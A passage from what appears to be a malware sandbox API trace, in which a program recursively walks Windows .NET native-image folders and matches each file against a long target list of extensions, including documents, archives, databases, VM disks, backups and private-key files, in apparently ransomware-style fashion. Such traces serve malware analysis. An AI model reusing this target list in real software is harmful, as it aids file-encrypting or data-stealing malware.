(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.jpg") returned 0 [0111.598] lstrlenA (lpString="*.jpg") returned 5 [0111.598] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.png") returned 0 [0111.598] lstrlenA (lpString="*.png") returned 5 [0111.598] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.php") returned 0 [0111.598] lstrlenA (lpString="*.php") returned 5 [0111.598] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.cs") returned 0 [0111.598] lstrlenA (lpString="*.cs") returned 4 [0111.598] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.cpp") returned 0 [0111.598] lstrlenA (lpString="*.cpp") returned 5 [0111.598] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.rar") returned 0 [0111.598] lstrlenA (lpString="*.rar") returned 5 [0111.598] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.zip") returned 0 [0111.598] lstrlenA (lpString="*.zip") returned 5 [0111.599] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.html") returned 0 [0111.599] lstrlenA (lpString="*.html") returned 6 [0111.599] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.htm") returned 0 [0111.599] lstrlenA (lpString="*.htm") returned 5 [0111.599] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.xlsx") returned 0 [0111.599] lstrlenA (lpString="*.xlsx") returned 6 [0111.599] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.xls") returned 0 [0111.599] lstrlenA (lpString="*.xls") returned 5 [0111.599] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.mp4") returned 0 [0111.599] lstrlenA (lpString="*.mp4") returned 5 [0111.599] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.ppt") returned 0 [0111.599] lstrlenA (lpString="*.ppt") returned 5 [0111.599] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.pptx") returned 0 [0111.599] lstrlenA (lpString="*.pptx") returned 6 [0111.599] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.doc") returned 0 [0111.600] lstrlenA (lpString="*.doc") returned 5 [0111.600] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.dot") returned 0 [0111.600] lstrlenA (lpString="*.dot") returned 5 [0111.600] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.docx") returned 0 [0111.600] lstrlenA (lpString="*.docx") returned 6 [0111.600] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.7z") returned 0 [0111.600] lstrlenA (lpString="*.7z") returned 4 [0111.600] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.tar") returned 0 [0111.600] lstrlenA (lpString="*.tar") returned 5 [0111.600] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.bz2") returned 0 [0111.600] lstrlenA (lpString="*.bz2") returned 5 [0111.600] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.gz") returned 0 [0111.600] lstrlenA (lpString="*.gz") returned 4 [0111.600] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.mkv") returned 0 [0111.600] lstrlenA (lpString="*.mkv") returned 5 [0111.600] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.eml") returned 0 [0111.600] lstrlenA (lpString="*.eml") returned 5 [0111.600] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.msg") returned 0 [0111.600] lstrlenA (lpString="*.msg") returned 5 [0111.600] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.edb") returned 0 [0111.601] lstrlenA (lpString="*.edb") returned 5 [0111.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.accdb") returned 0 [0111.601] lstrlenA (lpString="*.accdb") returned 7 [0111.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.odb") returned 0 [0111.601] lstrlenA (lpString="*.odb") returned 5 [0111.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.java") returned 0 [0111.601] lstrlenA (lpString="*.java") returned 6 [0111.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.asm") returned 0 [0111.601] lstrlenA (lpString="*.asm") returned 5 [0111.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.pfx") returned 0 [0111.601] lstrlenA (lpString="*.pfx") returned 5 [0111.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.pem") returned 0 [0111.601] lstrlenA (lpString="*.pem") returned 5 [0111.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.p12") returned 0 [0111.601] lstrlenA (lpString="*.p12") returned 5 [0111.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.gpg") returned 0 [0111.601] lstrlenA (lpString="*.gpg") returned 5 [0111.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.vsd") returned 0 [0111.601] lstrlenA (lpString="*.vsd") returned 5 [0111.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.odg") returned 0 [0111.601] lstrlenA (lpString="*.odg") returned 5 [0111.601] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.raw") returned 0 [0111.601] lstrlenA (lpString="*.raw") returned 5 [0111.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.nef") returned 0 [0111.602] lstrlenA (lpString="*.nef") returned 5 [0111.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.svg") returned 0 [0111.602] lstrlenA (lpString="*.svg") returned 5 [0111.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.psd") returned 0 [0111.602] lstrlenA (lpString="*.psd") returned 5 [0111.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.vmx") returned 0 [0111.602] lstrlenA (lpString="*.vmx") returned 5 [0111.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.vmdk") returned 0 [0111.602] lstrlenA (lpString="*.vmdk") returned 6 [0111.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.vdi") returned 0 [0111.602] lstrlenA (lpString="*.vdi") returned 5 [0111.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.lay6") returned 0 [0111.602] lstrlenA (lpString="*.lay6") returned 6 [0111.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.mpeg") returned 0 [0111.602] lstrlenA (lpString="*.mpeg") returned 6 [0111.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.djvu") returned 0 [0111.602] lstrlenA (lpString="*.djvu") returned 6 [0111.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.tiff") returned 0 [0111.602] lstrlenA (lpString="*.tiff") returned 6 [0111.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.backup") returned 0 [0111.602] lstrlenA (lpString="*.backup") returned 8 [0111.602] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.pdf") returned 0 [0111.603] lstrlenA (lpString="*.pdf") returned 5 [0111.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.cert") returned 0 [0111.603] lstrlenA (lpString="*.cert") returned 6 [0111.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.docm") returned 0 [0111.603] lstrlenA (lpString="*.docm") returned 6 [0111.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.xlsm") returned 0 [0111.603] lstrlenA (lpString="*.xlsm") returned 6 [0111.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.dwg") returned 0 [0111.603] lstrlenA (lpString="*.dwg") returned 5 [0111.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.nd") returned 0 [0111.603] lstrlenA (lpString="*.nd") returned 4 [0111.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.tlg") returned 0 [0111.603] lstrlenA (lpString="*.tlg") returned 5 [0111.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.lgb") returned 0 [0111.603] lstrlenA (lpString="*.lgb") returned 5 [0111.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.mov") returned 0 [0111.603] lstrlenA (lpString="*.mov") returned 5 [0111.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.xdw") returned 0 [0111.603] lstrlenA (lpString="*.xdw") returned 5 [0111.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.ods") returned 0 [0111.603] lstrlenA (lpString="*.ods") returned 5 [0111.603] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.wav") returned 0 [0111.604] lstrlenA (lpString="*.wav") returned 5 [0111.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.mp3") returned 0 [0111.604] lstrlenA (lpString="*.mp3") returned 5 [0111.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.aiff") returned 0 [0111.604] lstrlenA (lpString="*.aiff") returned 6 [0111.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.flac") returned 0 [0111.604] lstrlenA (lpString="*.flac") returned 6 [0111.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.m4a") returned 0 [0111.604] lstrlenA (lpString="*.m4a") returned 5 [0111.604] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\e97b40597db13e8a8151b30b9c59007e\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.csv") returned 0 [0111.604] lstrlenA (lpString="*.csv") returned 5 [0111.605] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd1331d1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd1331d1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd1331d1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0111.605] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.605] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd17f492, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd17f492, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd17f492, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="e97b40597db13e8a8151b30b9c59007e", cAlternateFileName="E97B40~1")) returned 0 [0111.606] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0111.606] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe86887c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe86887c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe86887c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c6c642e, dwReserved1=0x6c642e00, cFileName="Microsoft.WSMan.Man#", cAlternateFileName="MICROS~2.MAN")) returned 1 [0111.606] lstrcmpA (lpString1=".", lpString2="Microsoft.WSMan.Man#") returned -1 [0111.606] lstrcmpA (lpString1="..", lpString2="Microsoft.WSMan.Man#") returned -1 [0111.606] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0111.606] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft.WSMan.Man#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#" [0111.606] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#") returned 67 [0111.606] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe86887c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe86887c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe86887c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0111.606] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.606] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe86887c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe86887c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe86887c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.606] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.607] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.607] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe86887c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe86887c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe86887c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8cd73e65058ef6f77f36b62a74ec3344", cAlternateFileName="8CD73E~1")) returned 1 [0111.607] lstrcmpA (lpString1=".", lpString2="8cd73e65058ef6f77f36b62a74ec3344") returned -1 [0111.607] lstrcmpA (lpString1="..", lpString2="8cd73e65058ef6f77f36b62a74ec3344") returned -1 [0111.607] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\*.*") returned="*.*" [0111.607] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\", lpString2="8cd73e65058ef6f77f36b62a74ec3344" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344" [0111.607] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344") returned 100 [0111.607] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe86887c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe86887c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe86887c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.652] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.652] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe86887c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe86887c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe86887c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.652] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.652] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.653] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7f645b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe7f645b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe81c5bc, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xa6800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0111.653] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, 